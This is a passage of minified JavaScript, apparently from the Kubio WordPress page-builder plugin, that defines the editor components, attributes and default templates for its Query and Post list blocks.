0:e.name)===Yo.QUERY)).pop());const{attributes:b={}}=p||{},m=null===(o=p)||void 0===o?void 0:o.clientId,d=Object(Be.find)(u(m),{name:Yo.LOOP});return{queryAttributes:b,masonryValue:(null==d||null===(n=d.attributes)||void 0===n?void 0:n.masonry)||!1,notFoundMessage:null!==(a=null==d||null===(l=d.attributes)||void 0===l?void 0:l.notFound)&&void 0!==a?a:Object(We.__)("No {post_title} found!","kubio"),queryBlockClientId:m,loopBlockClientId:null==d?void 0:d.clientId}})),Object(Ve.withDispatch)(((e,t)=>{let{queryBlockClientId:o,loopBlockClientId:n}=t;const{updateBlockAttributes:a,__unstableMarkLastChangeAsPersistent:l}=e("core/block-editor");return{setQueryAttributes:e=>{const t=Object(Be.cloneDeep)(e);a(o,t),l()},updateMasonryValue:e=>a(n,{masonry:e}),updateNotFoundMessage:e=>a(n,{notFound:e})}})))((e=>{let{queryAttributes:t,setQueryAttributes:o,masonryValue:n,updateMasonryValue:a,notFoundMessage:l,updateNotFoundMessage:r}=e;const{useMainQuery:i=!1,query:c={}}=t||{},{order:s,orderBy:u,postType:p="post",sticky:b,author:m,perPage:d,tagIds:h=[],categoryIds:O=[],search:g}=c,y=e=>{const t={...c,...e};o({query:t})},{categories:j,tags:k,postTypes:E,authorList:f}=Object(Ve.useSelect)((e=>{var t;const{getEntityRecords:o,getPostTypes:n}=e("core"),a={per_page:100},l=o("taxonomy","category",a),r=o("taxonomy","post_tag",a),i=["attachment"],c=null===(t=n())||void 0===t?void 0:t.filter((e=>{let{viewable:t,slug:o}=e;return t&&!i.includes(o)}));return{categories:VI(l),tags:VI(r),authorList:o("root","user",{per_page:-1}),postTypes:c}}),[]),[v,_]=Object(xe.useState)(!0),[C,I]=Object(xe.useState)(!0),[T,S]=Object(xe.useState)("post"===p),w=Object(He.useDeepMemo)((()=>{if(null!=E&&E.length)return E.reduce(((e,t)=>(e[t.slug]=t.taxonomies,e)),{})}),[E]);Object(xe.useEffect)((()=>{if(!w)return;const e=w[p];_(e.includes("category")),I(e.includes("post_tag"))}),[p,w]),Object(xe.useEffect)((()=>{S("post"===p)}),[p]);const P=(e,t)=>o=>{const n=o.reduce(((t,o)=>{var n;const a=(null==o?void 0:o.id)||(null===(n=e.mapByName[o])||void 0===n?void 0:n.id);return a&&t.push(a),t}),[]);y({[t]:n})},A=(P(j,"categoryIds"),P(k,"tagIds"),Object(He.useDeepMemo)((()=>{let e=(E||[]).map((e=>{let{labels:t,slug:o}=e,n={label:t.singular_name,value:o};return"post"!==o&&(n=Object(ji.addProTagToItem)(n)),n}));return e=Object(ji.sortItemsByPro)(e),e}),[E])),[B,N]=Object(xe.useState)(g),x=Object(xe.useCallback)(Object(Be.debounce)((()=>{g!==B&&y({search:B})}),500),[B]);Object(xe.useEffect)((()=>(x(),x.cancel)),[B,x]);const R=Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.RangeControl,{label:Object(We.__)("Number of items","kubio"),min:1,max:20,step:1,debounceValue:400,onChange:e=>{var t;y({perPage:null!==(t=+e)&&void 0!==t?t:-1})},value:d}),Object(xe.createElement)("div",{className:"kubio-query-control--inline"},Object(xe.createElement)(Le.QueryControls,{order:s,orderBy:u,onOrderChange:e=>y({order:e}),onOrderByChange:e=>y({orderBy:e})})));let D={};return D=Object(xe.createElement)(xe.Fragment,null,R,Object(xe.createElement)(ji.AvailableInPro,{displayModal:!1,urlAtgs:{source:"posts",content:"filtering"}})),Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Posts list settings","kubio"),className:"kubio-section-post-list-panel"},Object(xe.createElement)(Re.ToggleControl,{label:Object(We.__)("Display as a masonry grid","kubio"),value:n,onChange:a}),Object(xe.createElement)(Re.ToggleControl,{label:Object(We.__)("Enable post filtering","kubio"),value:!i,onChange:e=>o({useMainQuery:!e})}),i&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TinyMCEControl,{label:Object(We.__)("No posts found text","kubio"),value:l,onChange:r,editorSettings:YI}))),!i&&Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Posts filtering","kubio"),className:"kubio-section-posts-filtering"},Object(xe.createElement)(Re.GutentagSelectControl,{options:A,value:p,label:Object(We.__)("Post type","kubio"),onChange:e=>{const t={postType:e};w[e].includes("category")||(t.categoryIds=[]),w[e].includes("post_tag")||(t.tagIds=[]),"post"!==e&&(t.sticky=""),y(t)}}),D))})),KI=e=>{const{attributes:{queryId:t,query:o,useMainQuery:n},context:{postId:a},setAttributes:l}=e,r=Object(Me.useInstanceId)(KI),{postsPerPage:i}=Object(Ve.useSelect)((e=>{const{getSettings:t}=e("core/block-editor");return{postsPerPage:+t().postsPerPage||3}}),[]),c=Object(De.useBlockProps)();Object(xe.useEffect)((()=>{var e;const t={};!a||null!==(e=o.exclude)&&void 0!==e&&e.length||(t.exclude=[a]),!o.perPage&&i&&(t.perPage=i),Object.keys(t).length&&s(t)}),[o.perPage,o.exclude,a]),Object(xe.useEffect)((()=>{t||n||l({queryId:r})}),[t,r]);const s=e=>{l({query:{...o,...e}})};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(De.InspectorControls,null,Object(xe.createElement)($I,e)),Object(xe.createElement)("div",c,Object(xe.createElement)(De.InnerBlocks,{renderAppender:!1})))};var qI=Object(Me.compose)(Object(He.withRemoveOnEmptyInnerBlocks)())(KI);const XI={apiVersion:2,name:"kubio/query",category:"kubio-layout",attributes:{queryId:{type:"number"},useMainQuery:{type:"boolean",default:!1},query:{type:"object",default:{perPage:null,pages:1,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:""}}},providesContext:{queryId:"queryId",query:"query",useMainQuery:"useMainQuery"},usesContext:["postId"],supports:{inserter:!1,html:!1,kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}}}},{name:QI}=XI,ZI=Object(nn.extendBlockMeta)(XI,{title:Object(We.__)("Query","kubio"),description:Object(We.__)("Displays a list of posts as a result of a query.","kubio"),edit:qI,save:()=>Object(xe.createElement)(De.InnerBlocks.Content,null)}),JI="default",eT={default:Object(We.__)("Default","kubio"),odd:Object(We.__)("Odd","kubio"),even:Object(We.__)("Even","kubio")},tT={perPage:null,pages:1,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:""},oT=(e,t)=>{const{clientId:o,context:n}=e,{defaultQuery:a}=t,{query:l,useMainQuery:r}=n,[i,c]=Object(xe.useState)(!1);(e=>{let{loopClientId:t,queryBlockType:o,queryAttributes:n}=e;const{getBlock:a,getBlockRootClientId:l,getBlockIndex:r}=Object(Ve.useSelect)((e=>e("core/block-editor"))),{replaceBlock:i}=Object(Ve.useDispatch)("core/block-editor"),c=Object(He.useUndoTrapDispatch)();Object(xe.useEffect)((()=>{if(!t)return;const e=a(l(t));if(!e||e&&(null==e?void 0:e.name)!==o){let l=null==e?void 0:e.innerBlocks.map((e=>{let{clientId:t}=e;return t})).indexOf(t);Object(Be.isUndefined)(l)&&(l=r(t));const s=Object(Ge.createBlock)(o,{query:Object(Be.merge)(tT,n)},[Object(Ge.cloneBlock)(a(t))]);c((()=>i(t,s)))}}),[t])})({loopClientId:o,queryBlockType:a.blockType,queryAttributes:a.attributes});const{entities:s,isLoading:u,kind:p}=(e=>{let{currentQuery:t={},useMainQuery:o=!1,page:n=1}=e;const a=Object(He.useDeepMemo)((()=>t),[t]),[l,r]=Object(xe.useState)(a),i=Object(Ve.useSelect)((e=>{var t,o,n,a;return(null===(t=e(Fe.STORE_KEY))||void 0===t||null===(o=t.getPage())||void 0===o?void 0:o.path)||(null===(n=e("core/block-editor"))||void 0===n||null===(a=n.getSettings())||void 0===a?void 0:a.siteUrl)}));Object(qe.useEffectAsync)((async e=>{o&&i&&(r({}),window.fetch(Object(bt.addQueryArgs)(i,{"__kubio-page-query":1})).then((e=>e.json())).then((t=>{let{data:o}=t;e()&&o&&r({...o})})).catch((e=>{r(a)})))}),[o,i]),Object(xe.useEffect)((()=>{o&&i||ri()(l,a)||r(a)}),[o,i,a]);const c=Object(He.useDeepMemo)((()=>{var e;if(Object(Be.isEmpty)(l))return{};const t={offset:l.perPage?l.perPage*(n-1)+(l.offset||0):0,categories:l.categoryIds||[],tags:l.tagIds||[],order:l.order,orderby:l.orderBy};return l.perPage&&(t.per_page=l.perPage),l.author&&(t.author=l.author),l.search&&(t.search=l.search),null!==(e=l.exclude)&&void 0!==e&&e.length&&(t.exclude=l.exclude),l.sticky&&(t.sticky="only"===l.sticky),{postType:l.postType,mappedQuery:t}}),[l]),{entities:s,isResolving:u,kind:p}=Object(Ve.useSelect)((e=>{if(Object(Be.isEmpty)(c))return{entities:[],isResolving:!1};const{postType:t,mappedQuery:o}=c,{getEntityRecords:n,isResolving:a,getEntitiesConfig:l}=e("core");return{entities:n("postType",t,o),isResolving:a("getEntityRecords",["postType",t,o]),kind:Object(Be.find)(l("postType"),{name:t})}}),[n,c]),b=Object(He.useDeepMemo)((()=>s),[s]),[m,d]=Object(xe.useState)(!0),h=Object(xe.useRef)(!1);return Object(xe.useEffect)((()=>{h.current=!1}),[c]),Object(xe.useEffect)((()=>{h.current=!0,b?m&&d(!1):d(!0)}),[b]),Object(xe.useEffect)((()=>{Object(Be.isEmpty)(c)&&m?d(!1):h.current||m||d(!0)}),[c]),Object(xe.useEffect)((()=>{h.current||d(u)}),[c,u]),{entities:b,isLoading:m,kind:p}})({currentQuery:l,useMainQuery:r}),b=Object(He.useDeepMemo)((()=>!(u||null!=s&&s.length)),[u,s]),{templateBlocksBySlug:m,previewInnerBlocks:d}=((e,t,o,n)=>{const{clientId:a}=e,{replaceInnerBlocks:l}=Object(Ve.useDispatch)("core/block-editor"),r=Object(Ve.useSelect)((e=>e("core/block-editor").getBlocks(a))),i=Object(He.useDeepMemo)((()=>r),[r]),c=Object(He.useDeepMemo)((()=>(null==t?void 0:t.length)||0),[t]),[s,u]=Object(xe.useState)([]),{templateBlocksBySlug:p,templatesBySlug:b}=Object(He.useDeepMemo)((()=>(e=>null==e?void 0:e.reduce(((e,t)=>{const o=t.attributes.slug||"default";return{...e,templateBlocksBySlug:{...e.templateBlocksBySlug,[o]:t},templatesBySlug:{...e.templatesBySlug,[o]:Object(un.transformBlockToTemplate)(t)}}}),{templateBlocksBySlug:{},templatesBySlug:{}}))(i)),[i,e.attributes]),m=Object(He.useDeepMemo)((()=>b),[b]);return Object(xe.useEffect)((()=>{const e=[];for(let t=0;t<c;t++)if(m[JI]){const o=s[t],n=m[JI];if(o){const a=Object(un.transformBlockToTemplate)(o);if(ri()(a,n)){e.push(s[t]);continue}}e.push(Object(un.transformTemplateToBlock)(n))}u(e)}),[m,c]),Object(xe.useEffect)((()=>{0!==i.length||n||Object(He.asyncSilentDispatch)((()=>l(a,o.map(un.refreshBlockStyleRefs).map(un.transformTemplateToBlock))))}),[i,a,n]),{templateBlocksBySlug:p,previewInnerBlocks:s}})(e,s,t.defaultLoopTemplates,i),{selectBlock:h,clearSelectedBlock:O}=Object(Ve.useDispatch)("core/block-editor"),g=Object(Ve.useSelect)((e=>{const{getSelectedBlockClientId:t,getBlockParents:n}=e("core/block-editor");return n(t()).includes(o)||t()===o}),[o]),y=Object(He.useDeepCallback)(((e,t)=>{var n,a;e&&null!==(n=m[e])&&void 0!==n&&n.clientId&&h(null===(a=m[e])||void 0===a?void 0:a.clientId),!e&&g&&h(o),t&&O(),c(e)}),[c,m,h,g]);return{isLoading:u,isEmpty:b,previewInnerBlocks:d,entities:s,isEditingTemplate:i,toggleIsEditingTemplate:y,kind:p}},nT=Object(xe.createContext)(),aT=e=>{let{children:t,...o}=e;return Object(xe.createElement)(nT.Provider,{value:o},t)},lT=[[Yo.LOOP_ITEM,{kubio:{style:{descendants:{inner:{margin:{bottom:{value:20,unit:"px"},top:{value:0,unit:"px"}},boxShadow:{enabled:!0,layers:[{color:"rgba(0, 0, 0, 0.3)",blur:"6",spread:"0",x:"0",y:"3",inset:""}]},background:{color:"rgba(var(--kubio-color-5),1)"},padding:{bottom:{value:1,unit:"em"}},border:{top:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}},right:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}},bottom:{radius:{right:{value:8,unit:"px"},left:{value:8,unit:"px"}}},left:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}}}}}},props:{layout:{horizontalInnerGap:0,verticalInnerGap:0}}},slug:"default",label:Object(We.__)("Default","kubio")},[[Yo.POST_FEATURED_IMAGE,{kubio:{style:{descendants:{container:{border:{top:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}},bottom:{radius:{right:{value:"",unit:"px"},left:{value:"",unit:"px"}}}}}}}},showPlaceholder:!1,imageSize:"cover",addLink:!1},[]],[Yo.ROW,{kubio:{props:{layout:{itemsPerRow:1,equalWidth:!1,equalHeight:!0,verticalGap:1,horizontalGap:2}}}},[[Yo.COLUMN,{kubio:{props:{layout:{horizontalInnerGap:0,verticalInnerGap:0}},_style:{descendants:{container:{columnWidth:{type:"flexgrow"},media:{tablet:{columnWidth:{type:"flexgrow"}},mobile:{columnWidth:{type:"flexgrow"}}}}}}}},[[Yo.POST_TITLE,{kubio:{style:{descendants:{container:{textAlign:"left"}}}},headingType:"h4"},[]],[Yo.POST_EXCERPT,{kubio:{style:{descendants:{text:{textAlign:"justify"}}}},content:"",wordCount:20},[]]]]]],[Yo.ROW,{kubio:{props:{layout:{itemsPerRow:2,equalWidth:!1,equalHeight:!0,horizontalGap:2,verticalGap:0,horizontalInnerGap:0,verticalInnerGap:0}},style:{descendants:{container:{border:{top:{width:{value:1,unit:"px"},style:"solid",color:"rgba(var(--kubio-color-5-variant-2),1)",radius:{left:{value:"",unit:"px"},right:{value:"",unit:"px"}}}}}}}}},[[Yo.COLUMN,{kubio:{props:{layout:{verticalAlign:"center"}},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:50,unit:"%"}},media:{tablet:{columnWidth:{type:"custom",custom:{value:50,unit:"%"}}},mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}},style:{descendants:{inner:{textAlign:"left"}}}}},[[Yo.POST_META,{kubio:{},separator:"|",showIcons:!1,dateFormat:"M j",metadata:[{value:"author",name:Object(We.__)("Author","kubio"),check:!1,icon:"font-awesome/user",id:0,prefix:"",suffix:""},{value:"date",name:Object(We.__)("Date","kubio"),check:!0,icon:"font-awesome/calendar",id:1,prefix:"on",suffix:""},{value:"time",name:Object(We.__)("Time","kubio"),check:!1,icon:"font-awesome/clock-o",id:2,prefix:"",suffix:""},{value:"comments",name:Object(We.__)("Comments","kubio"),check:!1,icon:"font-awesome/comment",id:3,prefix:"",suffix:""}]},[]]]],[Yo.COLUMN,{kubio:{_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:50,unit:"%"}},media:{tablet:{columnWidth:{type:"custom",custom:{value:50,unit:"%"}}},mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}},props:{layout:{verticalAlign:"center"}},style:{descendants:{inner:{textAlign:"right"}}}}},[[Yo.POST_READ_MORE,{kubio:{props:{buttonWidth:"fitToContent",iconPosition:"after",showIcon:!0,buttonSize:"custom",horizontalAlign:"center",customWidth:{lastHorizontalPadding:{left:{unit:"px",value:"24"},right:{unit:"px",value:"24"}}}},style:{descendants:{icon:{size:{unit:"px",value:16},margin:{left:{value:10,unit:"px"},right:{value:"10",unit:"px"}}},link:{textAlign:"center",typography:{color:"rgba(var(--kubio-color-1),1)",family:"Open Sans",margin:{top:"",bottom:"2rem"},size:{unit:"px",value:"12"},weight:"600",lineHeight:{value:"1",unit:""},transform:"uppercase",letterSpacing:{value:"1",unit:"px"}},border:{top:{radius:{right:{value:5,unit:"px"},left:{value:5,unit:"px"}}},bottom:{radius:{right:{value:5,unit:"px"},left:{value:5,unit:"px"}}}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},right:{unit:"px",value:0},left:{unit:"px",value:0}},states:{hover:{border:{right:{color:"rgba(var(--kubio-color-1-variant-4),1)"}},typography:{color:"rgba(var(--kubio-color-2),1)"}}},justifyContent:"center"},spacing:{textAlign:"right"}}}},text:Object(We.__)("Read more","kubio"),link:{value:"",typeOpenLink:"sameWindow",noFollow:!1,lightboxMedia:""},preserveSpace:{text:!1},icon:{name:Object(We.__)("font-awesome/arrow-right","kubio")}},[]]]]]]]]],rT=Object(un.mergeNoArrays)({},Ml,{NO_FOUND:"notfound"}),iT={[rT.CONTAINER]:{supports:{filters:{background:{types:["none","image","gradient"]}}}},[rT.NO_FOUND]:{internal:!0}},cT=Object(un.mergeNoArrays)({},Wl,iT),sT=e=>{let{className:t,loopAttributes:o,rowClientId:n,providerData:a,selectLoopBlock:l,forceRefreshParent:r}=e;const i=Object(Ve.useRegistry)(),c=Object(He.useDeepMemo)((()=>o),[o]);return Object(xe.useEffect)((()=>{!async function(){await i.dispatch("core/block-editor").updateBlockAttributes(n,c),r()}()}),[c,n]),Object(xe.createElement)(aT,Object(ut.a)({},a,{selectLoopBlock:l}),Object(xe.createElement)(De.BlockList,{className:t}))},uT=e=>{let{className:t,blocks:o,providerData:n,loopAttributes:a,jsComponentProps:l}=e;const r=Object(Ve.useSelect)((e=>e("core/block-editor").getSettings()),[]),{selectBlock:i}=Object(Ve.useDispatch)("core/block-editor"),{queryLoopClientId:c}=n,s=Object(xe.useCallback)((()=>i(c)),[i,c]),[u,p]=Object(xe.useState)([Object(Ge.createBlock)(Yo.ROW,a,[])]),b=Object(He.useDeepMemo)((()=>o),[o]);Object(xe.useEffect)((()=>{const e=u[0].innerBlocks;if(!ri()(e,b)){const e=Ne.a.cloneDeep(u),t=e[0];t.innerBlocks=b,t.attributes=d,Ne.a.set(e,[0,"innerBlocks"],b),p(e)}}),[b]);const m=u[0].clientId,d=Object(He.useDeepMemo)((()=>a),[a]),[,h]=Object(xe.useState)(),O=Object(xe.useRef)();return Object(xe.useEffect)((()=>()=>{clearTimeout(O.current)}),[]),b&&0!==b.length?(t=$e()(t,"kubio-loop-preview-block-list","components-disabled"),Object(xe.createElement)(De.BlockEditorProvider,{value:u,settings:r},Object(xe.createElement)(sT,{jsComponentProps:l,className:t,loopAttributes:a,rowClientId:m,forceRefreshParent:()=>{clearTimeout(O.current),O.current=setTimeout((()=>{h(Math.random())}),100)},providerData:n,selectLoopBlock:s}))):null},pT=e=>{let{isPreviewed:t,toggleIsPreviewed:o}=e;const{dataHelper:n}=Object(He.useKubioBlockContext)(),a=Object(tl.useInheritedTextAlign)();return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Not found text style","kubio")},Object(xe.createElement)(Le.BaseControl,null,Object(xe.createElement)(Le.Button,{onClick:()=>o(!t),isPrimary:!0,isPressed:t,className:"kubio-button-100 mobile-menu-button"},t?Object(We.__)("Show posts list","kubio"):Object(We.__)("Show not found text","kubio"))),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Text color","kubio"),path:"typography.color",type:He.WithDataPathTypes.STYLE,style:rT.NO_FOUND,defaultValue:Object(tl.useInheritedTypographyValue)("h2","color")}),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{path:"typography",type:He.WithDataPathTypes.STYLE,style:rT.NO_FOUND,nodeType:n.getProp("isLead")?"lead":"h2"}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Text align","kubio"),path:"textAlign",defaultValue:a,useContentAlignIcons:!1,skipJustify:!0,type:He.WithDataPathTypes.STYLE,style:rT.NO_FOUND}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,{label:Object(We.__)("Margin","kubio"),path:"margin",style:rT.NO_FOUND,capMin:!1,min:-1/0}))},bT=[Yo.LOOP_ITEM],mT=Object(Me.compose)(Object(He.withRemoveOnEmptyInnerBlocks)(),Object(Ve.withSelect)(((e,t)=>{let{clientId:o,context:n}=t;const{getBlock:a,getBlockParents:l,getBlockRootClientId:r}=e("core/block-editor"),i=a(r(o)),{attributes:c={}}=i||{},{query:s,useMainQuery:u}=c,p={query:s,useMainQuery:u},b=Ne.a.merge({},n,p),m=Object(xe.useRef)(b);return ri()(m.current,b)||(m.current=b),{context:m.current}})),He.composeWithKubioDataAndStyle)((e=>{var t,o;let{loopProps:n={},...a}=e;const l=Object(De.useBlockProps)(),{clientId:r,dataHelper:i,setAttributes:c,attributes:s}=a,u=Object(xe.useRef)(),p=Object(Be.merge)({loopItemType:Yo.LOOP_ITEM,defaultQuery:{blockType:Yo.QUERY,attributes:{postType:"post",perPage:3}},defaultLoopTemplates:lT},n),b=Object(He.useActiveMedia)(),{isLoading:m,isEmpty:d,previewInnerBlocks:h,entities:O,isEditingTemplate:g,toggleIsEditingTemplate:y,kind:j}=oT(a,p),k=$o();Object(xe.useEffect)((()=>{!0!==i.getProp("layout.equalWidth")&&Object(He.silentDispatch)((()=>c({kubio:{...Object(Be.set)(s.kubio,"props.layout.equalWidth",!0)}})),!0)}),[]);const E=Object(He.useDeepMemo)((()=>({entities:O,isEditingTemplate:g,toggleIsEditingTemplate:y,queryLoopClientId:r,previewInnerBlocks:h})),[O,g,y,r,h]),[f,v]=Object(xe.useState)(0),_=Object(Lr.useGetGlobalSessionProp)("ready",!1),C=Object(xe.useRef)();Object(xe.useEffect)((()=>(_&&(C.current=setTimeout((()=>{v(Math.random())}),1e3)),()=>{clearTimeout(C.current)})),[_]);const I=null==a||null===(t=a.attributes)||void 0===t||null===(o=t.kubio)||void 0===o?void 0:o.hash,T=Object(He.useDeepMemo)((()=>({isLoading:m,targetSelector:".kubio-loop-preview-block-list > .wp-block-kubio-row > ."+Object(He.getStyledElementBemClass)(Yo.ROW,rT.INNER),forceDisable:g,refreshDeps:{activeMedia:b,kubioHash:I,isEditingTemplate:g,editorRefreshedToken:f},loopRef:u})),[m,g,u,I,b,f]),{isEnabled:S,jsComponentProps:w}=function(e){var t;let{targetSelector:o,isLoading:n=!1,forceDisable:a=!1,refreshDeps:l=[],loopRef:r}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const i=(null==e||null===(t=e.attributes)||void 0===t?void 0:t.masonry)||!1,c=i&&!a&&!n,s=Object(He.useJSComponentProps)("masonry",{enabled:c,targetSelector:o}),u=Object(xe.useRef)(),{getFrontendComponentFunction:p}=Object(He.useFrontEndComponent)({clientId:e.clientId,ref:u,componentName:"masonry"}),b=p("stop",300),m=p("start",300),d=Object(xe.useCallback)((()=>{c?(m(),y.current=!0):y.current&&(b(),y.current=!1)}),[c,m,b]),h=Object(xe.useRef)(),O=a||n||!i,g=Object(xe.useRef)();Object(xe.useLayoutEffect)((()=>{var e;if(O)return()=>{var e;null==h||null===(e=h.current)||void 0===e||e.disconnect()};const t=new MutationObserver((function(e){let t=!1;e.forEach((function(e){t||e.addedNodes.forEach((e=>{var o;t||(null!=e&&null!==(o=e.classList)&&void 0!==o&&o.contains("block-editor-inserter")&&(t=!0),"function"==typeof(null==e?void 0:e.getAttribute)&&(null==e?void 0:e.getAttribute("data-kubio"))===Yo.LOOP_ITEM&&(t=!0))}))})),t&&(g.current=setTimeout((()=>{d()}),0))}));return null===(e=h.current)||void 0===e||e.disconnect(),h.current=t,null==t||t.observe(r.current,{subtree:!0,childList:!0}),()=>{try{var e;null==h||null===(e=h.current)||void 0===e||e.disconnect()}catch(e){}}}),[d,O]);const y=Object(xe.useRef)(!1),j=Object(He.useDeepMemo)((()=>l),[l]);return Object(xe.useLayoutEffect)((()=>{const e=setTimeout((()=>{d()}),100),t=setTimeout((()=>{d()}),2e3);return()=>{clearTimeout(e),clearTimeout(t)}}),[d,c,j]),Object(xe.useEffect)((()=>()=>{clearTimeout(g.current)}),[]),{jsComponentProps:{...s,ref:u},isEnabled:i&&!a}}(a,T),{selectBlock:P}=Object(Ve.useDispatch)("core/block-editor"),A=e=>{e.preventDefault(),e.stopPropagation(),P(r)};let B=null;const[N,x]=Object(xe.useState)(!1);if(Object(xe.useEffect)((()=>{Object(He.isKubioEditor)()||y(!1)}),[b]),m)B=Object(xe.createElement)("div",Object(ut.a)({},l,{"data-kubio":"kubio-loading-loop"}),Object(xe.createElement)(Re.LoadingPlaceholder,null));else if(N){const e=e=>{var t,o;return Object(xe.createElement)(e.Inner,null,Object(xe.createElement)("h2",{className:"kubio-empty-query-result"},Object(xe.createElement)("span",{dangerouslySetInnerHTML:{__html:(null!==(t=null==s?void 0:s.notFound)&&void 0!==t?t:Object(We.__)("No {post_title} found!","kubio")).replace("{post_title}",null!==(o=null==j?void 0:j.label)&&void 0!==o?o:Object(We.__)("Post","kubio"))}})))};B=Object(xe.createElement)(nr,Object(ut.a)({},a,{allowedBlocks:bT,templateLock:"all",skipRemoveOnEmpty:!0,customInnerStyledElement:e}))}else if(d)B=Object(xe.createElement)("div",Object(ut.a)({},l,{"data-kubio":"kubio-no-item-loop"}),Object(xe.createElement)(Re.SmallPlaceholder,{message:Object(We.__)("No results found.","kubio")}));else if(g)B=Object(xe.createElement)("div",{className:"kubio-loop-editing-wrapper"},Object(xe.createElement)(Le.Flex,{justify:"center"},Object(xe.createElement)(Le.FlexItem,null,Object(xe.createElement)("h4",{className:"kubio-ui-reset"},Object(We.sprintf)(// translators: %s is the post title
Object(We.__)('Currently editing the "%s" item template',"kubio"),eT[g])))),Object(xe.createElement)(nr,Object(ut.a)({},a,{allowedBlocks:bT,templateLock:"all",skipRemoveOnEmpty:!0,customContainerProps:w})),Object(xe.createElement)(Le.Flex,{justify:"center"},Object(xe.createElement)(Le.FlexItem,null,Object(xe.createElement)(Le.Button,{onClick:()=>y(!1),isPrimary:!0,icon:sh.a},Object(We.__)("Done","kubio")))));else{const e={...l,...w,"data-kubio":"kubio-preview-loop",onClick:A};B=Object(xe.createElement)("div",e,Object(xe.createElement)(uT,{blocks:h,providerData:E,loopAttributes:s}),!Object(He.isKubioEditor)()&&Object(xe.createElement)("div",Object(ut.a)({},k,{style:{display:"none"}})))}const R=a.context.useMainQuery;return Object(xe.createElement)(aT,E,Object(xe.createElement)(Kl,{onlyEqualWidth:!0,afterComponent:Object(xe.createElement)($I,a),supportsEqualHeightColumns:!S,supportsHorizontalPosition:!S}),Object(xe.createElement)(Hl,{afterBackgroundSection:Object(xe.createElement)(xe.Fragment,null,R&&Object(xe.createElement)(pT,{isPreviewed:N,toggleIsPreviewed:x}))}),Object(xe.createElement)("div",{ref:u},B))})),dT=Object(nn.extendBlockMeta)({name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},{name:"kubio/query-loop",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery","postId","postType"],attributes:{kubio:{type:"object",default:{props:{layout:{equalWidth:!0,equalHeight:!1,itemsPerRow:3,verticalAlign:"start"}}}},masonry:{type:"boolean",default:!1},notFound:{type:"string"}},supports:{kubio:{defaults:{style:{descendants:{notfound:{typography:{},margin:{top:{value:250,unit:"px"},bottom:{value:250,unit:"px"}}}}}},elementsEnum:{NO_FOUND:"notfound"},elementsByName:{notfound:{selector:".kubio-empty-query-result"}}},reusable:!1,html:!1}},{attributes:{templates:{type:"array",default:[]}}}),hT=Object(nn.extendBlockMeta)(dT,{title:Object(We.__)("Post list","kubio"),description:Object(We.__)("You can show off some of your most recent or popular blog posts on any page you’d like.","kubio"),icon:on.BlockIcons.BlogPosts,keywords:[Object(We.__)("loop","kubio"),Object(We.__)("query","kubio"),Object(We.__)("posts","kubio"),Object(We.__)("articles","kubio")],providesContext:{"kubio/parentKubio":"kubio"},attributes:{notFound:{default:Object(We.__)("No {post_title} found!","kubio")}},apiVersion:2,supports:{kubio:{elementsByName:cT},reusable:!1,html:!1},edit:mT,save:e=>{let{attributes:t,innerBlocks:o}=e;return Object(xe.createElement)(De.InnerBlocks.Content,null)}});var OT=o(372);const gT=e=>{let{isEditingTemplate:t,toggleIsEditingTemplate:o,slug:n}=e;const a=t?Object(We.__)("Done editing","kubio"):Object(We.__)("Edit item","kubio");return 